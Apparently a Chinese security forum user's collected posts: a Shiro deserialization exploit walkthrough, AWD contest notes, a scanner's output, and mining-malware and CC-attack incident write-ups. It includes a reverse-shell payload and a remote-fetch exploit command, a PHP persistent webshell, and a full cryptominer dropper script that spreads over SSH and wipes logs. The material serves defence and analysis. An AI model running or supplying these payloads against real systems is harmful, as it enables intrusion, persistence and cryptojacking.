Umbreall Protect

Christmas

@Pioneer 你百度一下嘛，很多的，很简单，最后丢给你一份提问的智慧
https://www.cyborghawk.cn/topic/30/提问的智慧

Christmas

首先你得有个vps，国外服务器，然后去搭一个ss或者ssr或者v2ray服务

Christmas

没看懂，报错贴一下

Christmas

Apache Shiro Java 反序列化漏洞分析及利用

0x00 项目地址

https://github.com/HexChristmas/Shiro_exploit

0x01 概述

这两天被派去护网&重保，态势感知报了一条冰蝎的远程代码执行的告警，在通过告警日志以及webshell及相关信息，红队大概是通过shiro反序列化拿到主机权限，之前一大佬还特别分享过shiro反序列化漏洞，还没来及研究就碰上了，正好这个机会研究分析一波，
shiro用remembreme这个cookie对用户进行鉴权，防止出现越权问题，它使用CookieRemembreMeManager这个类，对这个remebreme这个cookie进行序列化，然后对这个字符流进行aes加密，在对其进行base64编码，然后在返回客户端remebreme Cookie，这其实是有问题的，shiro把aes的密钥硬编码在代码里，我们可以通过调试代码发现aes加码的密钥进行解密，使用ysoserial包进行反序列化的CommonsCollections2这个方法发现密钥进行解密，生成并返回带有远程代码执行的remebreme Cookie进而反弹shell

0x02 漏洞环境

方法一：Docker环境搭建

这里可以直接pull大佬们做好的docker的漏洞环境

docker pull medicean/vulapps:s_shiro_1

将docker漏洞环境的8080端口映射到本机的80端口

docker run -dit -p 81:8080 medicean/vulapps:s_shiro_1

方法二：Linux虚拟机或者VPS搭建tomcat及shiro环境

java环境啥的鸟都带了
直接去tomcat官网去下载二进制包，不用百度了，这里直接给你百度完了，点击我进行跳转，Run！
或者你直接可以

sudo wget http://mirror.bit.edu.cn/apache/tomcat/tomcat-8/v8.5.43/bin/apache-tomcat-8.5.43.tar.gz /usr/share

然后直接解压

sudo tar zxvf apache-tomcat-8.5.43..tar.gz

./usr/share/apache-tomcat-8.5.43/bin/startup.sh

我们现在只需把shiro包放到webapps下即可

sudo cp shiro.war /usr/share/apache-tomcat-8.5.43/webapps

然后访问

localhost:8080/Shiro

3|690x388
能看到这个就说明你已经启动成功了

0x02 漏洞利用

用msfvenom生成payload用于反弹shell

msfvenom -p linux/x86/shell_reverse_tcp LHOST= LPORT=2333 elf >  payload

1|515x500
nc监听2333端口

nc -lvvp 2333

使用shiro的脚本进行远程代码执行漏洞利用

python shiro_exploit.py "http://127.0.0.1:81" "wget -p /tmp/ http://172.18.24.35/payload && chmod +x /tmp/payload && /tmp/payload"

2|601x500

0x03 漏洞修复

升级 Shiro 版本至 1.2.5 以上

0x4 参考文档

https://issues.apache.org/jira/browse/SHIRO-550
https://www.seebug.org/vuldb/ssvid-92180

Christmas

感谢大佬分享，建议大佬学习一下markdown的方法

Christmas

选择ubuntu 14.04就行

Christmas

java环境
直接去tomcat官网去下载二进制包，不用百度了，这里直接给你百度完了，点击我进行跳转，Run！
或者你直接可以

sudo wget http://mirror.bit.edu.cn/apache/tomcat/tomcat-8/v8.5.43/bin/apache-tomcat-8.5.43.tar.gz /usr/sharcd

然后直接解压

sudo tar zxvf apache-tomcat-8.5.43..tar.gz

./usr/share/apache-tomcat-8.5.43./bin/startup.sh

直接访问

localhost:8080

image|604x500
能看到这个就说明你成功启动了，没启动来帖子下评论

Christmas

今天在装virtualbox时候出现了这个错误

WARNING: The vboxdrv kernel module is not loaded. Either there is no module
         available for the current kernel (3.11.1-2-ARCH) or it failed to
         load. Please reinstall the kernel module virtualbox-host-modules or
         if you don't use our stock kernel compile the modules with

以为是安装包问题，下载了vmware，发现也一样，解决方法如下

uname -r //查看系统内核版本

搜索所有可用模块

apt-cache search virtualbox-host-modules

我的内核是4.19，就直接安装了

apt-get install linux419-virtualbox-host-modules

安装完之后，重启内核模块

sudo /sbin/rcvboxdrv

Unloading modules:
Loading modules: vboxnetadp vboxnetflt vboxpci vboxdrv

在启动virtualbox就没问题了

Christmas

我们在鸟上装完chrome，突然发现他不能像windows或者mac一样，在Settings里直接设置代理服务器，像我这种英语都能菜的抠脚chrome翻译简直良心，firefox真心永不来，去google试了几种方法，比如

神马把SwitchyOmegaProxy本地下载下来，然后改后缀名为zip，然后再用chrome导入，

你会发现着尼马神马方法，真怀疑他们怎么成功的，可能当时他们的版本的chrome可能好使，但是最新的可能不行，或者就是这群傻逼根本就不懂，估计也没成功，误人子弟～！！！！！！！

接下来提供一种可行的办法，不行的话，我吃屎
我们apt完chromium之后，
通过

man chromium

我们在很显眼的地方还到proxy-server神马神马
2019-08-04-165826_1920x2160_scrot|444x500
主要看上边那个图，下边的是我另一块屏幕，这都不重要对吧，
能看懂的人自然知道咋弄，其实不懂的也可以直接百度翻译对吧，translate.baidu.com 貌似是这么写，进不去去百度一下把，我也不知道写的对不对，
不懂的我直接贴出神仙的命令，看好，只写一遍

chromium ---proxy-server="socks5://127.0.0.1:1080"

玩鸟的都知道啥意思把，仅用http啥的自己去设置，实在不懂的话就可以卸载了，
然后自动就弹出来个chromium，搜索东西啥的就能google了，这时候你在登录google帐号，去chromestore去下载SwitchyOmegaProxy,你不能每次开浏览器都终端手动打把，所以直接在浏览器做好代理

Christmas

建议您参考如下帖子进行安装更新
https://www.cyborghawk.cn/topic/19/cyborg系统常用配置及使用技巧

Christmas

自己一次线下AWD线下赛总结

AWD即Attack With Defence，一般awd团队赛都是三个人共同维护一台机器或者多台机器，两台Web，一台pwn，利用漏洞攻击其队的flag得分，其他队伍提交了你的flag你就会失分，那么此时就需要团队协作防御和攻击所维护的服务器

关于AWD一些固定规则：

一般分配Web服务器，Pwn服务器，服务器或叫做Gamebox（多数为Linux）某处存在flag
可能会提供一台流量分析虚拟机，可以下载流量文件进行数据分析（没遇到过）
flag在主办方的设定下每隔一定时间（通常是5分钟）刷新一轮
各队一般都有自己的初始分数，flag一旦被其他队伍拿走，该队扣除一定积分，其他队伍得分
主办方会对每个队伍的服务进行check，服务宕机扣除分数
一般每个队伍会给一个低权限用户，非root权限

awd赛前技巧

赛前一定要把线下所有用到的脚本在本地在跑一下，一些python常用库，
比赛时候，出现一血只要不是自己，看到谁被打了立马就去打被攻击打那个人，短时间内肯定来不及修复，自己被打了，可以去看流量，比赛过程中如果实在发现不了漏洞，可以多观察一下流量

防守技巧

Web题加固

代码层，是否有webshell，是否有rce漏洞
中间件层，apache解析漏洞，目录遍历等
其他服务，mysql未授权访问什么的

内存马

awd中最头疼的应该就是不死马了，可以打别人，别人也会向你服务器种不死马
比如像如下：

<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '2.php';
$code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_POST[a]);} ?>';
while (1){
    file_put_contents($file,$code);
    usleep(5000);
}
?>

我们如何发现它？
ls -a
如何解决？
rm .webshell.php && mkdir .webshell.php //建立一个和不死马一样名字的文件夹，这样不死马就写不进去了
完全杀死不死马，得清理内存
ps -aux|grep 'www-data'|awk'{print$2}'|xargs kill -9 // 杀进程得在root或者www-data权限下

webshell查杀

因为比赛现场大多数都是没有网盾，所以你的webshell扫描工具联网是用不了的，
一定要选择可以离线使用的webshell查杀工具，可以选择D盾，但距离比赛前一天一定要升级一下裤
长亭的牡云扫描器也是可以离线使用的

web加固

其他rce漏洞

反序列化，命令注入等
赛前一定把常用的各种cms都准备一遍，一般外国的比较多，代码实在审计不出来直接把代码覆盖，cms最新的漏洞，怎么利用赛场你要做的不光是防住，更多的是攻击，所以怎么代码审计能力一定要有
其他的漏洞，就是一些常见的；
sql注入
XXE
SSRF
… …

根据敏感关键字回溯参数传递过程

.htaccess时常就会被当作后门使用，要注意，比如

<FilesMatch "\.(gif|jpe?g|png)$">
SetHandler application/x-httpd-php
</FilesMatch>

Apache安全加固

账号设置

以专门的用户账号和用户组运行apache服务，这里要说明要熟悉不同系统apache.conf，httpd.conf的位置，centos，debian，ubuntu等
根据需要，为apache服务创建用户及用户组，如果没有设置用户和组，则新建用户，并在apache配置文件中进行指定

创建apache用户组

groupadd Apache

创建apache用户并加入apache用户组

useradd apache -g Apache

将下面两行设置参数加入apache配置文件http.conf,debian下可能是etc下的apache2/apache2.conf

User apache
Group apache

检查httpd.conf或者是apache2.conf配置文件中是否允许使用非专用账号运行（如root）apache服务
默认设置一般即符合要求，linux系统中默认使用apache或者nobody用户

授权设置

严格控制apache主目录的访问权限，非超级用户不能修改该目录中的内容
aoache 的主目录应对于apache server配置文件httpd.conf中的Server Root控制项，设置为：
Server Root /usr/local/apahe

判定条件非超级用户不能修改该目录的内容
检测操作：常识进行修改，看是否能修改目录中的内容
该目录一般设置为/etc/httpd目录，默认情况下属root 用户，其他用户不鞥修改目录中文件，

Christmas

UmbreallSecEmergencyResponseTools

项目地址

https://github.com/CooChristmas/UmbreallSec

使用及生产环境

git clone https://github.com/CooChristmas/UmbreallSec.git

➜  python UbSec.py                                            127 ↵  16:08:14

  _    _           _                      _   _    _____
 | |  | |         | |                    | | | |  / ____|
 | |  | |_ __ ___ | |__  _ __ ___  __ _  | | | | | (___   ___  ___
 | |  | | '_ ` _ \| '_ \| '__/ _ \/ _` | | | | |  \___ \ / _ \/ __|
 | |__| | | | | | | |_) | | |  __/ (_| | | | | |  ____) |  __/ (__
  \____/|_| |_| |_|_.__/|_|  \___|\__,_| |_| |_| |_____/ \___|\___|



    {version:v0.1}
    {author:圣诞}

# 开始扫描当前系统安全状态...

## 实例信息获取
主机名：shengdans-MacBook-Air.local
 实例IP：192.168.8.113
系统版本：Darwin-18.6.0-x86_64-i386-64bit
扫描时间：2019-06-05 16:08:20

检测系统初始化扫描

 [1]alias检查                          [ OK  ]

开始文件类安全扫描

 [1]系统重要文件hash对比               [ OK  ]

  [2]系统可执行文件安全扫描            [ OK  ]

  [3]系统临时目录安全扫描              [ OK  ]

  [4]各用户目录安全扫描                [ OK  ]

  [5]可疑隐藏文件扫描                  [ OK  ]

## 开始主机历史操作类安全扫描
  [1]所有历史操作的可疑记录             [ OK  ]

## 开始进程类安全扫描

 [1]CUP和内存类异常进程排查            [ OK  ]

 [2]隐藏进程安全扫描                   [ OK  ]

 [3]反弹shell类进程扫描                [ OK  ]

 [4]恶意进程信息安全扫描               [ OK  ]

 [5]exe程序安全扫描                    [ OK  ]

## 开始网络链接类安全扫描

 [1]当前网络对外连接扫描               [ OK  ]

 [2]恶意特征类链接扫描                 [ OK  ]
 [3]网卡混杂模式扫描                    [ 警告  ]

开始恶意后门类安全扫描

 [1]LD_PRELOAD 后门检测                [ OK  ]

  [2]LD_AOUT_PRELOAD 后门检测          [ OK  ]

  [3]LD_ELF_PRELOAD 后门检测           [ OK  ]

  [4]LD_LIBRARY_PATH 后门检测          [ OK  ]

  [5]ld.so.preload 后门检测            [ OK  ]

  [6]PROMPT_COMMAND 后门检测           [ OK  ]

  [7]cron定时任务后门检测              [ OK  ]

  [8]未知环境变量 后门检测             [ OK  ]

  [9]ssh 后门检测                      [ OK  ]

  [10]SSH wrapper 后门检测             [ OK  ]

  [11]inetd.conf 后门检测              [ OK  ]

  [12]xinetd.conf 后门检测             [ OK  ]

  [13]setuid 后门检测                  [ 警告  ]

  [14]系统启动项后门检测               [ OK  ]

开始账户类安全扫描

 [1]root权限账户安全扫描               [ OK  ]

 [2]空口令账户安全扫描                 [ OK  ]

 [3]sudoers权限安全扫描                [ OK  ]

 [4]账户免密码证书安全扫描             [ OK  ]

 [5]账户密码文件扫描                   [ OK  ]

开始日志类安全扫描

 [1]secure日志安全扫描                 [ OK  ]

 [2]wtmp日志日志安全扫描               [ OK  ]

 [3]utmp日志日志安全扫描               [ OK  ]

 [4]lastlog日志日志安全扫描            [ OK  ]

开始配置类安全扫描

 [1]DNS设置扫描                        [ 警告  ]

 [2]防火墙设置扫描                     [ OK  ]

 [3]hosts设置扫描                      [ OK  ]

开始Rootkit类安全扫描

  [1]55808 Variant A                   [ OK  ]

  [2]Adore Rootkit                     [ OK  ]

  [3]AjaKit Rootkit                    [ OK  ]

  [4]aPa Kit Rootkit                   [ OK  ]

  [5]Apache Worm                       [ OK  ]

  [6]Ambient Rootkit                   [ OK  ]

  [7]Balaur Rootkit                    [ OK  ]

  [8]Beastkit Rootkit                  [ OK  ]

  [9]beX2 Rootkit                      [ OK  ]

  [10]BOBkit Rootkit                   [ OK  ]

  [11]OSX Boonana-A Trojan             [ OK  ]

  [12]cb Rootkit                       [ OK  ]

  [13]CiNIK Worm                       [ OK  ]

  [14]CX Rootkit                       [ OK  ]

  [15]Abuse Kit                        [ OK  ]

  [16]Devil Rootkit                    [ OK  ]

  [17]Diamorphine LKM                  [ OK  ]

  [18]Dica-Kit Rootkit                 [ OK  ]

  [19]Dreams Rootkit                   [ OK  ]

  [20]Duarawkz Rootkit                 [ OK  ]

  [21]Ebury sshd backdoor              [ OK  ]

  [22]ENYE LKM                         [ OK  ]

  [23]Flea Rootkit                     [ OK  ]

  [24]FreeBSD Rootkit                  [ OK  ]

  [25]Fu Rootkit                       [ OK  ]

  [26]Fuckit Rootkit                   [ OK  ]

  [27]GasKit Rootkit                   [ OK  ]

  [28]Heroin LKM                       [ OK  ]

  [29]HjC Kit Rootkit                  [ OK  ]

  [30]ignoKit Rootkit                  [ OK  ]

  [31]iLLogiC Rootkit                  [ OK  ]

  [32]OSX Inqtana Variant A            [ OK  ]

  [33]OSX Inqtana Variant B            [ OK  ]

  [34]OSX Inqtana Variant C            [ OK  ]

  [35]IntoXonia-NG Rootkit             [ OK  ]

  [36]Irix Rootkit                     [ OK  ]

  [37]Jynx Rootkit                     [ OK  ]

  [38]Jynx2 Rootkit                    [ OK  ]

  [39]KBeast Rootkit                   [ OK  ]

  [40]OSX Keydnap backdoor             [ OK  ]

  [41]Kitko Rootkit                    [ OK  ]

  [42]Knark Rootkit                    [ OK  ]

  [43]OSX Komplex Trojan               [ OK  ]

  [44]ld-linuxv rootkit                [ OK  ]

  [45]Lion Worm                        [ OK  ]

  [46]Lockit Rootkit                   [ OK  ]

  [47]Mokes backdoor                   [ OK  ]

  [48]MRK RootKit                      [ OK  ]

  [49]Mood-NT Rootkit                  [ OK  ]

  [50]Ni0 Rootkit                      [ OK  ]

  [51]Ohhara Rootkit                   [ OK  ]

  [52]Optic Kit Rootkit                [ OK  ]

  [53]OSXRK                            [ OK  ]

  [54]Oz Rootkit                       [ OK  ]

  [55]Phalanx Rootkit                  [ OK  ]

  [56]Phalanx2 Rootkit                 [ OK  ]

  [57]Portacelo Rootkit                [ OK  ]

  [58]OSX Proton backdoor              [ OK  ]

  [59]R3dstorm Toolkit                 [ OK  ]

  [60]RH-Sharpe Rootkit                [ OK  ]

  [61]RSHA Rootkit                     [ OK  ]

  [62]Shutdown Rootkit                 [ OK  ]

  [63]Scalper Worm                     [ OK  ]

  [64]SHV4 Rootkit                     [ OK  ]

  [65]SHV5 Rootkit                     [ OK  ]

  [66]Sin Rootkit                      [ OK  ]

  [67]Slapper Worm                     [ OK  ]

  [68]Sneakin Rootkit                  [ OK  ]

  [69]Solaris Wanuk backdoor           [ OK  ]

  [70]Solaris Wanuk Worm               [ OK  ]

  [71]Spanish Rootkit                  [ OK  ]

  [72]Suckit Rootkit                   [ OK  ]

  [73]NSDAP Rootkit                    [ OK  ]

  [74]SunOS Rootkit                    [ OK  ]

  [75]Superkit Rootkit                 [ OK  ]

  [76]TBD(Telnet Backdoor)             [ OK  ]

  [77]TeLeKiT Rootkit                  [ OK  ]

  [78]OSX Togroot Rootkit              [ OK  ]

  [79]T0rn Rootkit                     [ OK  ]

  [80]trNkit Rootkit                   [ OK  ]

  [81]Trojanit Kit Rootkit             [ OK  ]

  [82]Turtle Rootkit                   [ OK  ]

  [83]Tuxtendo Rootkit                 [ OK  ]

  [84]Universal Rootkit                [ OK  ]

  [85]VcKit Rootkit                    [ OK  ]

  [86]Vampire Rootkit                  [ OK  ]

  [87]Volc Rootkit                     [ OK  ]

  [88]weaponX                          [ OK  ]

  [89]Xzibit Rootkit                   [ OK  ]

  [90]X-Org SunOS Rootkit              [ OK  ]

  [91]zaRwT.KiT Rootkit                [ OK  ]

  [92]ZK Rootkit                       [ OK  ]

  [93]Miscellaneous login backdoors    [ OK  ]

  [94]Sniffer log                      [ OK  ]

  [95]Suspicious dir                   [ OK  ]

  [96]Apache backdoor                  [ OK  ]

 [97]检测LKM内核模块                   [ OK  ]
 开始Webshell安全扫描

#### [1]Webshell安全扫描               [ 跳过  ]
------------------------------
## 根据系统分析的情况，溯源后的攻击行动轨迹为：
[2][风险] 黑客在2019-05-04 13:28:56时间，进行了setuid 后门植入,文件/System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/MacOS/ARDAgent 被设置setuid属性，通常此类被设置权限的文件执行后会给予普通用户root权限

------------------------------
扫描完毕，扫描结果已记入到 /Volumes/Data/EmergencyResponseTools/Linux/Ubsec/srp/UbSec.md 文件中，请及时查看

报告输出路径，报告格式为Markdown

/srp/UbSec.md

生产环境下，检测状况

251559629502_.pic_hd.jpg

自用工具，不喜勿喷

Christmas

问题描述

用户反馈阿里云服务器中了病毒，云平台监控到服务器CPU利用率一直呈100%状态，系统下检查计划任务中有个删除不掉的异常任务，系统下部分应用进程被隐藏了，通过相关命令查询不到信息，需要我方对服务器进行排查，解决上述问题。

排查思路

登陆服务器

2019年5月15日上午9点通过远程连接工具登陆存在问题的服务器，进行问题定位与排查。

检查网络连接

查看服务器当前网络连接状态，未发现异常截图信息如下：
图片 3.png

检查系统进程

查看系统进程，未发现占用CPU大量资源的异常进程。截图信息如下：
图片 2.png

检查开机启动

检查开机启动加载项，发现启动项中存在异常信息，主要怀疑netdns和watchdogs两个项。截图信息如下：
图片 4.png

查看系统下计划任务，发现存在一个可疑的任务。截图信息如下：
图片 5.png
可疑的计划任务内容如下：

*/15 * * * * (curl -fsSL https://pastebin.com/raw/sByq0rym||wget -q -O- https://pastebin.com/raw/sByq0rym)|sh

检查登陆信息

查看系统远程登陆服务器的历史记录，连接成功截图信息如下：
图片 6.png
查看系统远程登陆服务器的历史记录，连接失败截图信息如下：

查看系统登陆历史信息截图

发现来自中国山东青岛的一个可疑IP:47.104.179.47在2月17日有多次异常登陆请求信息均未成功。截图信息如下：
图片 7.png

检查系统账号

检查系统下是否存在异常账号，发现两个账号名称分别为liugang和shs，判断为用户自行创建账号。截图信息如下：
图片 8.png

检查系统日志

检查系统日志，截图信息如下：
图片 9.png

问题处理

第一步计划任务分析

首先查看系统存在的异常计划任务，对其进行删除操作，该任务在被删除后会自动重新生成。

复制计划任务中的URL链接“https://pastebin.com/raw/sByq0rym”，打开浏览器粘贴该链接，获取到信息如下：
图片 11.png
复制网页中显示的URL链接“https://pastebin.com/raw/tqJjUD9d”，打开浏览器粘贴该链接，获取到信息如下：
图片 12.png
在网页中看到base64位编码程序，打开base64解密工具，将获取到的base64加密信息全部复制并粘贴到Base64编码中，解码后即可看到脚本信息如下：
图片 13.png
详细运行脚本信息如下：

export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin

echo "*/10 * * * * (curl -fsSL https://pastebin.com/raw/sByq0rym||wget -q -O- https://pastebin.com/raw/sByq0rym)|sh" | crontab -

ps auxf|grep -v grep|grep "xmr" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xig" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "ddgs" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "qW3xT" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "t00ls.ru" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "sustes" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "hashfish" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "thisxxs"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/usr/bin/.sshd"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "kworkerds" | awk '{print $2}'|xargs kill -9
p=$(ps auxf|grep -v grep|grep ksoftirqds|wc -l)
if [ ${p} -eq 0 ];then
    ps auxf|grep -v grep | awk '{if($3>=80.0) print $2}'| xargs kill -9
fi
if [ -e "/tmp/gates.lod" ]; then
    rm -rf $(readlink /proc/$(cat /tmp/gates.lod)/exe)
    kill -9 $(cat /tmp/gates.lod)
    rm -rf $(readlink /proc/$(cat /tmp/moni.lod)/exe)
    kill -9 $(cat /tmp/moni.lod)
    rm -rf /tmp/{gates,moni}.lod
fi

if [ ! -f "/tmp/.lsdpid" ]; then
    ARCH=$(uname -i)
    if [ ${ARCH}x = "x86_64x" ]; then
        (curl -fsSL http://thyrsi.com/t6/671/1550236607x2918527038.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/671/1550236607x2918527038.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogs
    elif [ ${ARCH}x = "i386x" ]; then
        (curl -fsSL http://thyrsi.com/t6/671/1550236644x2918527038.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/671/1550236644x2918527038.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogs
    else
        (curl -fsSL http://thyrsi.com/t6/671/1550236644x2918527038.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/671/1550236644x2918527038.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogs
    fi
        nohup /tmp/watchdogs >/dev/null 2>&1 &
elif [ ! -f "/proc/$(cat /tmp/.lsdpid)/stat" ]; then
    ARCH=$(uname -i)
    if [ ${ARCH}x = "x86_64x" ]; then
        (curl -fsSL http://thyrsi.com/t6/671/1550236607x2918527038.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/671/1550236607x2918527038.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogs
    elif [ ${ARCH}x = "i386x" ]; then
        (curl -fsSL http://thyrsi.com/t6/671/1550236644x2918527038.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/671/1550236644x2918527038.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogs
    else
        (curl -fsSL http://thyrsi.com/t6/671/1550236644x2918527038.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/671/1550236644x2918527038.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogs
    fi
        nohup /tmp/watchdogs >/dev/null 2>&1 &
fi

if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
  for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL https://pastebin.com/raw/sByq0rym||wget -q -O- https://pastebin.com/raw/sByq0rym)|sh >/dev/null 2>&1 &' & done
fi

echo 0>/var/spool/mail/root
echo 0>/var/log/wtmp
echo 0>/var/log/secure
echo 0>/var/log/cron
#
#

通过对该脚本进行分析，确认该脚本为挖矿病毒程序脚本。

第二步系统进程分析

查看系统下CPU进程，输入top命令后看不到占用CPU资源较多的进程，怀疑是进程被隐藏或者命令被替换了。截图信息如下：

首先排查/tmp文件夹，通过发现/tmp文件夹下存在一个异常文件名称为“lsdpid”的隐藏文件，查看“lsdpid”文件内容获取到一个数字21448，通过反查21448获取到该数字是由“/tmp/watchdogs”文件生成，而此时watchdogs文件已被病毒程序自动删除。截图如下：

图片 17.png
结束“lsdpid”所产生的21448进程操作。截图如下：
图片 18.png

在结束21448异常进程后，输入top命令显示系统进程，显示挖矿进程信息。截图如下：
图片 22.png

第三步删除异常任务

检查开机启动项文件，发现两个异常启动文件项分别是：netdns和watchdogs。截图信息如下：
图片 3.png

查看启动项文件，发现异常配置参数。截图信息如下：
图片 22.png
结速掉“lsdpid”文件中显示的进程号后，即可看到挖矿病毒进程，将挖矿病毒进程结束。截图信息如下：

删除异常文件“lsdpid”，查看计划任务未重新生成。截图如下：
图片10.png

安全建议

通过问题排查，发现系统存在一些问题，提出如下安全建议：

关闭不必要操作系统服务及应用端口，防止来自互联网的恶意攻击；
对互联网映射内部服务器时，只开放必要访问的端口，端口映射规则尽可能细化；
限制服务器管理人员远程登陆管理地址，防止管理员以外恶意地址进行登陆；
关于Redis服务可能引起的安全问题原因如下：
（1） Redis没有设置密码；
（2） Redis使用默认账号root；
（3） Redis端口暴露在公网；
（4） Redis没有限制访问IP。

Christmas

应急响应：linux服务器之挖矿病毒

0x00 前言

2017年10月，360网络安全研究院监控到一个大规模攻击OrientDB 数据库服务器，挖取门罗币（XMR，Monero CryptoCurrency）的僵尸网络，并将其命名为 DDG 挖矿僵尸网络（DDG Mining Botnet，以下简称 DDG）。DDG 累积挖取的门罗币数目较大，到2018年2月，能够确认该僵尸网络累积挖取的已经超过 3,395枚门罗币，折合人民币超过580万元。DDG一跃成为继MyKings之后，收益第二大的挖矿僵尸网络。

0x01 应急场景

今天下午，接到一个垃圾客户但单子，问题描述是挖矿病毒，最后却说要解决tomcat，擦，运维这我们不背

客户说升级了阿里云的cpu，重启后发现大部分项目启动不了了，重启完 cpu 300%，貌似之前的病毒没处理干净，清除了tmp 恢复正常，tomcat起不来，
那就去看看到底啥情况，结果一cat，woc发现看不懂，之前觉得tomcat挺简单的，没想到生产环境这几把复杂，google一下发现貌似是配置文件冲突，咱也不知道是啥，咱也不敢问

0x02 传播途径

在cd 退回上一级目录的时候发现confluence这个，woc，还几把有这玩意？记得前段时间貌似又一个confluence 远程代码执行漏洞的东西，貌似是CVE-2019-3396，估计那个挖矿应该是从这进来的
咱也不敢问，233，不过也可能是jenkinsrec，或者redis也说不准

0x03 处理流程

这个机子好，tmd竟然没有wget，我尝试yum去安装，然后被kill掉了。被kill掉了，是什么鬼？？
我又top了一下，并没有什么异常，也没什么进程占用特别搞，netstat -ano 了一下，也没发现啥可以连接，
问了同事，了解到这个和变种DDG挖矿类似，并解释到这几把玩意，你使用top、ps aux| grep 啥啥的估计是看不到挖矿进程
该死的挖矿病毒疯狂到去动了系统/etc/ld.so.preload里边到东西，于是又get到了一个新词“Linux动态链接库预加载机制”
Linux动态链接库预加载机制，是一种常用的进程隐藏方法，而系统的ls，ps等命令已被通过so库的preload机制被病毒劫持, ls会导致/etc/cron.d/root文件被刷写为病毒定时执行命令
busybox静态编译，不依赖动态连哭，也不受ld.so.preload劫持，我们可以愉快到应急了
我们只能从我们到电脑上下载busybox二进制包，然后scp传到云服上，

wget https://busybox.net/downloads/binaries/1.30.0-i686/busybox

scp busybox username@servername:/path

chmod +x busybox

./busybox

./busybox  top

可以愉快到应急了，
然后我们，发现，一top出现了三个sleep，然后几秒钟就被kill掉了，估计是被自己kill掉了，这个骚啊，一top就kill自己
这肯定有问题，我们接着去看一下/tmp
我们发现了一个十分奇特的文件， tmpkGl393
我们尝试cat，看一下，看看到底是啥，结果为空？？？？这就更不对劲了
我们又意识下的看了一下计划任务表，

crontab -l

呃，可以确定了就几把是挖矿，矿池

然后我们删除被preload的so库

./busybox rm -f /usr/local/lib/libioset.so
./busybox rm -f /etc/ld.so.preload
./busybox rm -f /etc/ld.so.cache

验证一下是否卸载了

lsof |grep usr/local/lib/libioset.so
echo $LD_PRELOAD

输出为空，动态连哭被成功卸载了
然后我们

./busybox pstree -p

发现这三个sleep对应进程pid是

sleep 2291
sleep 2289
sleep 2383
sleep 23838 布吉岛这个是干啥，反正kill掉没错

./busybox ps aux | grep 23838

我们再来

crontab -l

一下，没有那个垃圾玩意了

cat /etc/crontab //无

lastlog  //貌似没啥异常了

cd /root/.ssh/ //没异常

ls -alR

vim authorized_keys //没异常

cat /etc/passwd //也没发现啥异常

cat /etc/passwd | grep /bin/bashj

cat /etc/passwd | grep /bin/bash
clear
exit

等待了一个小时，那个垃圾玩意再也没有出现过

0x04应急结束

白天的时候只把几张关键的图截下来发给客户，没想着后来要总结，很多有意思的截图gif都没有，以后多发
应急算是解决了，但是不到位，没有找到挖矿病毒到底是怎样进来的，下次加油～

Christmas

服务器遭受CC攻击怎么搞？

今天上午，应急的时候遇到了一个客户服务器疑似遭受了CC攻击，空余就把CC整理一下
netstat -ano 输出的结果

tcp        0      0 192.168.5.135:80        182.140.227.21:43779    TIME_WAIT  
tcp        0      0 192.168.5.135:80        112.25.60.15:59421      TIME_WAIT  
tcp        0      0 192.168.5.135:80        120.199.93.7:20910      TIME_WAIT  
tcp        0      0 192.168.5.135:80        112.25.60.15:54850      TIME_WAIT  
tcp        0      0 192.168.5.135:80        120.199.93.9:52886      TIME_WAIT  
tcp        0      0 192.168.5.135:80        120.199.93.7:21813      TIME_WAIT  
tcp        0      0 192.168.5.135:80        112.25.60.15:13540      TIME_WAIT  
tcp        0      0 192.168.5.135:80        112.25.60.15:62526      TIME_WAIT  
tcp        0      0 192.168.5.135:80        221.204.18.16:5207      TIME_WAIT  
tcp        0      0 192.168.5.135:80        112.25.60.15:58612      TIME_WAIT  
tcp        0      0 192.168.5.135:80        112.25.60.15:8786       TIME_WAIT  
tcp        0      0 192.168.5.135:80        120.199.93.9:52899      TIME_WAIT  
tcp        0      0 192.168.5.135:80        182.140.227.18:20206    TIME_WAIT  
tcp        0      0 192.168.5.135:80        112.25.60.18:1087       TIME_WAIT  
tcp        0      0 192.168.5.135:80        182.140.227.17:16603    TIME_WAIT  
tcp        0      0 192.168.5.135:80        112.25.60.15:63105      TIME_WAIT  
tcp        0      0 192.168.5.135:80        112.25.60.15:63413      TIME_WAIT  
tcp        0      0 192.168.5.135:80        182.140.227.16:52527    TIME_WAIT  
tcp        0      0 192.168.5.135:80        61.160.224.7:5654       TIME_WAIT  
tcp        0      0 192.168.5.135:80        112.25.60.15:7029       TIME_WAIT  
tcp        0      0 192.168.5.135:80        221.204.18.23:56996     TIME_WAIT  
tcp        0      0 192.168.5.135:80        221.204.18.16:58080     TIME_WAIT  
tcp        0      0 192.168.5.135:80        120.199.93.9:49741      TIME_WAIT  
